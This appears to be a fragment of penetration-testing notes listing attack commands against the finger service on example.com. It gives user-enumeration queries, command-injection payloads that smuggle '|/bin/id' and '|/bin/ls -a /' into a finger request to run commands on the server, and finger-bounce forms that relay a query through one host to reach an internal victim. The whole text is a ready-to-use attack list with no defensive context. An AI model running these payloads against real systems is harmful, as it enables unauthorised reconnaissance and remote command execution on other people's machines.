• User enumeration
    • finger ‘a b c d e f g h’ @example.com
    • finger admin@example.com
    • finger user@example.com
    • finger 0@example.com
    • finger .@example.com
    • finger **@example.com
    • finger test@example.com
    • finger @example.com
  • Command execution
    • finger “|/bin/id@example.com”
    • finger “|/bin/ls -a /@example.com”
  • Finger Bounce
    • finger user@host@victim
    • finger @internal@external